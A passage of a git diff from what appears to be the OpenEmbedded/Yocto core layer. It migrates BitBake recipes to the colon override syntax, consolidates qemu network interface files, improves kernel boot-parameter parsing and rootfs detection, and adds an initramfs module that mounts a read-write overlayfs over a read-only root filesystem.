+# Sadly at the moment the fast set of ptests is not robust enough and sporadically fails in a couple of places
+PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-core/images/core-image-tiny-initramfs.bb b/meta/recipes-core/images/core-image-tiny-initramfs.bb
index 0eca6d9944..a1883de0eb 100644
--- a/meta/recipes-core/images/core-image-tiny-initramfs.bb
+++ b/meta/recipes-core/images/core-image-tiny-initramfs.bb
@@ -13,6 +13,7 @@ PACKAGE_INSTALL = "initramfs-live-boot-tiny packagegroup-core-boot dropbear ${VI
IMAGE_FEATURES = ""
export IMAGE_BASENAME = "core-image-tiny-initramfs"
+IMAGE_NAME_SUFFIX ?= ""
IMAGE_LINGUAS = ""
LICENSE = "MIT"
@@ -26,7 +27,7 @@ IMAGE_ROOTFS_SIZE = "8192"
IMAGE_ROOTFS_EXTRA_SPACE = "0"
# Use the same restriction as initramfs-live-install
-COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
+COMPATIBLE_HOST = "(i.86|x86_64|aarch64|arm).*-linux"
python tinyinitrd () {
# Modify our init file so the user knows we drop to shell prompt on purpose
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuall/interfaces
index 16967763e5..16967763e5 100644
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm/interfaces
+++ b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuall/interfaces
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces
deleted file mode 100644
index 16967763e5..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces
+++ /dev/null
@@ -1,5 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces
deleted file mode 100644
index 16967763e5..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces
+++ /dev/null
@@ -1,5 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces
deleted file mode 100644
index 16967763e5..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces
+++ /dev/null
@@ -1,5 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces b/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces
deleted file mode 100644
index f62b9a897d..0000000000
--- a/meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces
+++ /dev/null
@@ -1,8 +0,0 @@
-# /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
-
-# The loopback interface
-auto lo
-iface lo inet loopback
-
-
-
diff --git a/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb b/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
index 733ae41f20..d39323db2f 100644
--- a/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
+++ b/meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Basic TCP/IP networking init scripts and configuration files"
DESCRIPTION = "This package provides high level tools to configure network interfaces"
HOMEPAGE = "http://packages.debian.org/ifupdown"
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://${WORKDIR}/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
PR = "r7"
@@ -29,13 +29,13 @@ do_install () {
install -m 0755 ${WORKDIR}/nfsroot ${D}${sysconfdir}/network/if-pre-up.d
}
-do_install_append_qemuall () {
+do_install:append:qemuall () {
# Disable network manager on machines that commonly do NFS booting
touch ${D}${sysconfdir}/network/nm-disabled-eth0
}
-PACKAGE_ARCH_qemuall = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "netbase"
-RCONFLICTS_${PN} = "netbase (< 1:5.0)"
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+RDEPENDS:${PN} = "netbase"
+RCONFLICTS:${PN} = "netbase (< 1:5.0)"
-CONFFILES_${PN} = "${sysconfdir}/network/interfaces"
+CONFFILES:${PN} = "${sysconfdir}/network/interfaces"
diff --git a/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh b/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh
index b351985a61..1fcd29e54c 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh
@@ -133,7 +133,7 @@ mount -o rw,loop,noatime,nodiratime /run/media/$1/$2 /rootmnt
echo "Copying rootfs files..."
cp -a /rootmnt/* /ssd
-touch /ssd/etc/masterimage
+touch /ssd/etc/controllerimage
if [ -d /ssd/etc/ ] ; then
# We dont want udev to mount our root device while we're booting...
diff --git a/meta/recipes-core/initrdscripts/files/init-install-efi.sh b/meta/recipes-core/initrdscripts/files/init-install-efi.sh
index b6855b5aac..f667518b89 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-efi.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-efi.sh
@@ -279,6 +279,11 @@ fi
umount /tgt_root
+# copy any extra files needed for ESP
+if [ -d /run/media/$1/esp ]; then
+ cp -r /run/media/$1/esp/* /boot
+fi
+
# Copy kernel artifacts. To add more artifacts just add to types
# For now just support kernel types already being used by something in OE-core
for types in bzImage zImage vmlinux vmlinuz fitImage; do
diff --git a/meta/recipes-core/initrdscripts/files/init-install-testfs.sh b/meta/recipes-core/initrdscripts/files/init-install-testfs.sh
index ac62160528..7b49001659 100644
--- a/meta/recipes-core/initrdscripts/files/init-install-testfs.sh
+++ b/meta/recipes-core/initrdscripts/files/init-install-testfs.sh
@@ -158,7 +158,7 @@ mount -o rw,loop,noatime,nodiratime /run/media/$1/$2 /src_root
echo "Copying rootfs files..."
cp -a /src_root/* /tgt_root
-touch /tgt_root/etc/masterimage
+touch /tgt_root/etc/controllerimage
if [ -d /tgt_root/etc/ ] ; then
echo "$bootfs /boot ext3 defaults 1 2" >> /tgt_root/etc/fstab
diff --git a/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
index 29ec5ec2ff..ab460ac797 100644
--- a/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb
@@ -18,4 +18,4 @@ do_install() {
inherit allarch
-FILES_${PN} += "/init /dev/console"
+FILES:${PN} += "/init /dev/console"
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/finish b/meta/recipes-core/initrdscripts/initramfs-framework/finish
index 717383ebac..f08a920867 100755
--- a/meta/recipes-core/initrdscripts/initramfs-framework/finish
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/finish
@@ -12,6 +12,18 @@ finish_run() {
fatal "ERROR: There's no '/dev' on rootfs."
fi
+ # Unmount anything that was automounted by busybox via mdev-mount.sh.
+ # We're about to switch_root, and leaving anything mounted will prevent
+ # the next rootfs from modifying the block device. Ignore ROOT_DISK,
+ # if it was set by setup-live, because it'll be mounted over loopback
+ # to ROOTFS_DIR.
+ local dev
+ for dev in /run/media/*; do
+ if mountpoint -q "${dev}" && [ "${dev##*/}" != "${ROOT_DISK}" ]; then
+ umount -f "${dev}" || debug "Failed to unmount ${dev}"
+ fi
+ done
+
info "Switching root to '$ROOTFS_DIR'..."
debug "Moving /dev, /proc and /sys onto rootfs..."
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/init b/meta/recipes-core/initrdscripts/initramfs-framework/init
index c71ce0ce8c..567694aff7 100755
--- a/meta/recipes-core/initrdscripts/initramfs-framework/init
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/init
@@ -88,12 +88,25 @@ fi
# populate bootparam environment
for p in `cat /proc/cmdline`; do
+ if [ -n "$quoted" ]; then
+ value="$value $p"
+ if [ "`echo $p | sed -e 's/\"$//'`" != "$p" ]; then
+ eval "bootparam_${quoted}=${value}"
+ unset quoted
+ fi
+ continue
+ fi
+
opt=`echo $p | cut -d'=' -f1`
opt=`echo $opt | sed -e 'y/.-/__/'`
if [ "`echo $p | cut -d'=' -f1`" = "$p" ]; then
eval "bootparam_${opt}=true"
else
value="`echo $p | cut -d'=' -f2-`"
+ if [ "`echo $value | sed -e 's/^\"//'`" != "$value" ]; then
+ quoted=${opt}
+ continue
+ fi
eval "bootparam_${opt}=\"${value}\""
fi
done
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/overlayroot b/meta/recipes-core/initrdscripts/initramfs-framework/overlayroot
new file mode 100644
index 0000000000..d40342dc59
--- /dev/null
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/overlayroot
@@ -0,0 +1,112 @@
+#!/bin/sh
+
+# SPDX-License-Identifier: MIT
+#
+# Copyright 2022 (C), Microsoft Corporation
+
+# Simple initramfs module intended to mount a read-write (RW)
+# overlayfs on top of /, keeping the original root filesystem
+# as read-only (RO), free from modifications by the user.
+#
+# NOTE: The read-only IMAGE_FEATURE is not required for this to work
+#
+# This script is based on the overlay-etc.bbclass, which sets up
+# an overlay on top of the /etc directory, but in this case allows
+# accessing the original, unmodified rootfs at /rofs after boot.
+#
+# It relies on the initramfs-module-rootfs to mount the original
+# root filesystem, and requires 'rootrw=<foo>' to be passed as a
+# kernel parameter, specifying the device/partition intended to
+# use as RW.
+#
+# This module needs to be executed after the initramfs-module-rootfs
+# since it relies on it to mount the filesystem at initramfs startup
+# but before the finish module which normally switches root.
+# After overlayroot is executed the usual boot flow continues from
+# the real init process.
+#
+# If something goes wrong while running this module, the rootfs
+# is still mounted RO (with no overlay) and the finish module is
+# executed to continue booting normally.
+#
+# It also has a dependency on overlayfs being enabled in the
+# running kernel via KERNEL_FEATURES (kmeta) or any other means.
+
+
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+
+# We get OLDROOT from the rootfs module
+OLDROOT="/rootfs"
+
+NEWROOT="${RWMOUNT}/root"
+RWMOUNT="/overlay"
+ROMOUNT="${RWMOUNT}/rofs"
+UPPER_DIR="${RWMOUNT}/upper"
+WORK_DIR="${RWMOUNT}/work"
+
+MODULES_DIR=/init.d
+
+# Something went wrong, make sure / is mounted as read only anyway.
+exit_gracefully() {
+ echo $1 >/dev/console
+ echo >/dev/console
+ echo "OverlayRoot mounting failed, starting system as read-only" >/dev/console
+ echo >/dev/console
+
+ # The following is borrowed from rootfs-postcommands.bbclass
+ # This basically looks at the real rootfs mounting options and
+ # replaces them with "ro"
+
+ # Tweak the mount option and fs_passno for rootfs in fstab
+ if [ -f ${OLDROOT}/etc/fstab ]; then
+ sed -i -e '/^[#[:space:]]*\/dev\/root/{s/defaults/ro/;s/\([[:space:]]*[[:digit:]]\)\([[:space:]]*\)[[:digit:]]$/\1\20/}' ${OLDROOT}/etc/fstab
+ fi
+
+ # Tweak the "mount -o remount,rw /" command in busybox-inittab inittab
+ if [ -f ${OLDROOT}/etc/inittab ]; then
+ sed -i 's|/bin/mount -o remount,rw /|/bin/mount -o remount,ro /|' ${OLDROOT}/etc/inittab
+ fi
+
+ # Continue as if the overlayroot module didn't exist to continue booting
+ . $MODULES_DIR/99-finish
+ eval "finish_run"
+}
+
+
+if [ -z "$bootparam_rootrw" ]; then
+ exit_gracefully "rootrw= kernel parameter doesn't exist and its required to mount the overlayfs"
+fi
+
+mkdir -p ${RWMOUNT}
+
+# Mount RW device
+if mount -n -t ${bootparam_rootfstype:-ext4} -o ${bootparam_rootflags:-defaults} ${bootparam_rootrw} ${RWMOUNT}
+then
+ # Set up overlay directories
+ mkdir -p ${UPPER_DIR}
+ mkdir -p ${WORK_DIR}
+ mkdir -p ${NEWROOT}
+ mkdir -p ${ROMOUNT}
+
+ # Remount OLDROOT as read-only
+ mount -o bind ${OLDROOT} ${ROMOUNT}
+ mount -o remount,ro ${ROMOUNT}
+
+ # Mount RW overlay
+ mount -t overlay overlay -o lowerdir=${ROMOUNT},upperdir=${UPPER_DIR},workdir=${WORK_DIR} ${NEWROOT} || exit_gracefully "initramfs-overlayroot: Mounting overlay failed"
+else
+ exit_gracefully "initramfs-overlayroot: Mounting RW device failed"
+fi
+
+# Set up filesystems on overlay
+mkdir -p ${NEWROOT}/proc
+mkdir -p ${NEWROOT}/dev
+mkdir -p ${NEWROOT}/sys
+mkdir -p ${NEWROOT}/rofs
+
+mount -n --move ${ROMOUNT} ${NEWROOT}/rofs
+mount -n --move /proc ${NEWROOT}/proc
+mount -n --move /sys ${NEWROOT}/sys
+mount -n --move /dev ${NEWROOT}/dev
+
+exec chroot ${NEWROOT}/ ${bootparam_init:-/sbin/init} || exit_gracefully "Couldn't chroot into overlay"
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/rootfs b/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
index 748c9391c0..e0efbe6ebe 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
@@ -13,7 +13,7 @@ rootfs_run() {
C=0
delay=${bootparam_rootdelay:-1}
timeout=${bootparam_roottimeout:-5}
- while [ ! -d $ROOTFS_DIR/dev ]; do
+ while ! mountpoint -q $ROOTFS_DIR; do
if [ $(( $C * $delay )) -gt $timeout ]; then
fatal "root '$bootparam_root' doesn't exist or does not contain a /dev."
fi
@@ -24,24 +24,13 @@ rootfs_run() {
if [ "`echo ${bootparam_root} | cut -c1-5`" = "UUID=" ]; then
root_uuid=`echo $bootparam_root | cut -c6-`
bootparam_root="/dev/disk/by-uuid/$root_uuid"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-9`" = "PARTUUID=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-9`" = "PARTUUID=" ]; then
root_partuuid=`echo $bootparam_root | cut -c10-`
bootparam_root="/dev/disk/by-partuuid/$root_partuuid"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
- root_partlabel=`echo $bootparam_root | cut -c11-`
- bootparam_root="/dev/disk/by-partlabel/$root_partlabel"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
root_partlabel=`echo $bootparam_root | cut -c11-`
bootparam_root="/dev/disk/by-partlabel/$root_partlabel"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-6`" = "LABEL=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-6`" = "LABEL=" ]; then
root_label=`echo $bootparam_root | cut -c7-`
bootparam_root="/dev/disk/by-label/$root_label"
fi
@@ -61,14 +50,14 @@ rootfs_run() {
flags="$flags -t$bootparam_rootfstype"
fi
mount $flags $bootparam_root $ROOTFS_DIR
- if [ -d $ROOTFS_DIR/dev ]; then
+ if mountpoint -q $ROOTFS_DIR; then
break
else
# It is unlikely to change, but keep trying anyway.
# Perhaps we pick a different device next time.
umount $ROOTFS_DIR
- fi
fi
+ fi
fi
debug "Sleeping for $delay second(s) to wait root to settle..."
sleep $delay
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/setup-live b/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
index 4c79f41285..7e92f93322 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
@@ -1,4 +1,4 @@
-#/bin/sh
+#!/bin/sh
# Copyright (C) 2011 O.S. Systems Software LTDA.
# Licensed on MIT
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/udev b/meta/recipes-core/initrdscripts/initramfs-framework/udev
index 87551ff4a9..4898b89246 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/udev
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/udev
@@ -41,6 +41,9 @@ udev_run() {
mkdir -p /run
mkdir -p /var/run
+ # Workaround if console=null, systemd-udevd needs valid stdin, stdout and stderr to work
+ sh -c "exec 4< /dev/console" || { exec 0> /dev/null; exec 1> /dev/null; exec 2> /dev/null; }
+
$_UDEV_DAEMON --daemon
udevadm trigger --action=add
udevadm settle
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
index c53a0c03ae..4e76e20026 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
@@ -1,8 +1,8 @@
SUMMARY = "Modular initramfs system"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
PR = "r4"
@@ -18,6 +18,7 @@ SRC_URI = "file://init \
file://e2fs \
file://debug \
file://lvm \
+ file://overlayroot \
"
S = "${WORKDIR}"
@@ -31,7 +32,7 @@ do_install() {
install -m 0755 ${WORKDIR}/rootfs ${D}/init.d/90-rootfs
install -m 0755 ${WORKDIR}/finish ${D}/init.d/99-finish
- # exec
+ # exec
install -m 0755 ${WORKDIR}/exec ${D}/init.d/89-exec
# mdev
@@ -49,6 +50,9 @@ do_install() {
# lvm
install -m 0755 ${WORKDIR}/lvm ${D}/init.d/09-lvm
+ # overlayroot needs to run after rootfs module but before finish
+ install -m 0755 ${WORKDIR}/overlayroot ${D}/init.d/91-overlayroot
+
# Create device nodes expected by some kernels in initramfs
# before even executing /init.
install -d ${D}/dev
@@ -64,9 +68,10 @@ PACKAGES = "${PN}-base \
initramfs-module-rootfs \
initramfs-module-debug \
initramfs-module-lvm \
+ initramfs-module-overlayroot \
"
-FILES_${PN}-base = "/init /init.d/99-finish /dev"
+FILES:${PN}-base = "/init /init.d/99-finish /dev"
# 99-finish in base depends on some other module which mounts
# the rootfs, like 90-rootfs. To replace that default, use
@@ -74,36 +79,40 @@ FILES_${PN}-base = "/init /init.d/99-finish /dev"
# initramfs recipe and install something else, or install
# something that runs earlier (for example, a 89-my-rootfs)
# and mounts the rootfs. Then 90-rootfs will proceed immediately.
-RRECOMMENDS_${PN}-base += "initramfs-module-rootfs"
+RRECOMMENDS:${PN}-base += "initramfs-module-rootfs"
+
+SUMMARY:initramfs-module-exec = "initramfs support for easy execution of applications"
+RDEPENDS:initramfs-module-exec = "${PN}-base"
+FILES:initramfs-module-exec = "/init.d/89-exec"
-SUMMARY_initramfs-module-exec = "initramfs support for easy execution of applications"
-RDEPENDS_initramfs-module-exec = "${PN}-base"
-FILES_initramfs-module-exec = "/init.d/89-exec"
+SUMMARY:initramfs-module-mdev = "initramfs support for mdev"
+RDEPENDS:initramfs-module-mdev = "${PN}-base busybox-mdev"
+FILES:initramfs-module-mdev = "/init.d/01-mdev"
-SUMMARY_initramfs-module-mdev = "initramfs support for mdev"
-RDEPENDS_initramfs-module-mdev = "${PN}-base busybox-mdev"
-FILES_initramfs-module-mdev = "/init.d/01-mdev"
+SUMMARY:initramfs-module-udev = "initramfs support for udev"
+RDEPENDS:initramfs-module-udev = "${PN}-base udev"
+FILES:initramfs-module-udev = "/init.d/01-udev"
-SUMMARY_initramfs-module-udev = "initramfs support for udev"
-RDEPENDS_initramfs-module-udev = "${PN}-base udev"
-FILES_initramfs-module-udev = "/init.d/01-udev"
+SUMMARY:initramfs-module-e2fs = "initramfs support for ext4/ext3/ext2 filesystems"
+RDEPENDS:initramfs-module-e2fs = "${PN}-base"
+FILES:initramfs-module-e2fs = "/init.d/10-e2fs"
-SUMMARY_initramfs-module-e2fs = "initramfs support for ext4/ext3/ext2 filesystems"
-RDEPENDS_initramfs-module-e2fs = "${PN}-base"
-FILES_initramfs-module-e2fs = "/init.d/10-e2fs"
+SUMMARY:initramfs-module-nfsrootfs = "initramfs support for locating and mounting the root partition via nfs"
+RDEPENDS:initramfs-module-nfsrootfs = "${PN}-base"
+FILES:initramfs-module-nfsrootfs = "/init.d/85-nfsrootfs"
-SUMMARY_initramfs-module-nfsrootfs = "initramfs support for locating and mounting the root partition via nfs"
-RDEPENDS_initramfs-module-nfsrootfs = "${PN}-base"
-FILES_initramfs-module-nfsrootfs = "/init.d/85-nfsrootfs"
+SUMMARY:initramfs-module-rootfs = "initramfs support for locating and mounting the root partition"
+RDEPENDS:initramfs-module-rootfs = "${PN}-base"
+FILES:initramfs-module-rootfs = "/init.d/90-rootfs"
-SUMMARY_initramfs-module-rootfs = "initramfs support for locating and mounting the root partition"
-RDEPENDS_initramfs-module-rootfs = "${PN}-base"
-FILES_initramfs-module-rootfs = "/init.d/90-rootfs"
+SUMMARY:initramfs-module-debug = "initramfs dynamic debug support"
+RDEPENDS:initramfs-module-debug = "${PN}-base"
+FILES:initramfs-module-debug = "/init.d/00-debug"
-SUMMARY_initramfs-module-debug = "initramfs dynamic debug support"
-RDEPENDS_initramfs-module-debug = "${PN}-base"
-FILES_initramfs-module-debug = "/init.d/00-debug"
+SUMMARY:initramfs-module-lvm = "initramfs lvm rootfs support"
+RDEPENDS:initramfs-module-lvm = "${PN}-base"
+FILES:initramfs-module-lvm = "/init.d/09-lvm"
-SUMMARY_initramfs-module-lvm = "initramfs lvm rootfs support"
-RDEPENDS_initramfs-module-lvm = "${PN}-base"
-FILES_initramfs-module-lvm = "/init.d/09-lvm"
+SUMMARY:initramfs-module-overlayroot = "initramfs support for mounting a RW overlay on top of a RO root filesystem"
+RDEPENDS:initramfs-module-overlayroot = "${PN}-base initramfs-module-rootfs"
+FILES:initramfs-module-overlayroot = "/init.d/91-overlayroot"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
index 7a9a8ecae2..59a530506a 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Live image init script"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
DEPENDS = "virtual/kernel"
-RDEPENDS_${PN} = "busybox-mdev"
+RDEPENDS:${PN} = "busybox-mdev"
SRC_URI = "file://init-live.sh"
PR = "r12"
@@ -15,7 +15,7 @@ do_install() {
mknod -m 622 ${D}/dev/console c 5 1
}
-FILES_${PN} += " /init /dev "
+FILES:${PN} += " /init /dev "
# Due to kernel dependency
PACKAGE_ARCH = "${MACHINE_ARCH}"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
index 57b30254a6..8f56d7ab90 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Live image init script"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
DEPENDS = "virtual/kernel"
-RDEPENDS_${PN} = "udev udev-extraconf"
+RDEPENDS:${PN} = "udev udev-extraconf"
SRC_URI = "file://init-live.sh"
PR = "r12"
@@ -15,7 +15,7 @@ do_install() {
mknod -m 622 ${D}/dev/console c 5 1
}
-FILES_${PN} += " /init /dev "
+FILES:${PN} += " /init /dev "
# Due to kernel dependency
PACKAGE_ARCH = "${MACHINE_ARCH}"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
index c03bd2d765..495eccbeda 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
@@ -3,7 +3,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install-efi-testfs.sh"
-RDEPENDS_${PN} = "parted e2fsprogs-mke2fs dosfstools"
+RDEPENDS:${PN} = "parted e2fsprogs-mke2fs dosfstools"
S = "${WORKDIR}"
@@ -12,5 +12,5 @@ do_install() {
}
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install-efi.sh "
+FILES:${PN} = " /install-efi.sh "
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
index cc842ae8b7..ecbd567d6c 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
@@ -5,8 +5,8 @@ SRC_URI = "file://init-install-efi.sh"
PR = "r1"
-RDEPENDS_${PN} = "parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
S = "${WORKDIR}"
@@ -20,6 +20,6 @@ do_install() {
#inherit allarch
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install-efi.sh "
+FILES:${PN} = " /install-efi.sh "
COMPATIBLE_HOST = "(i.86.*|x86_64.*|aarch64.*)-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
index 937bfd4d38..d347e323b3 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
@@ -3,7 +3,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
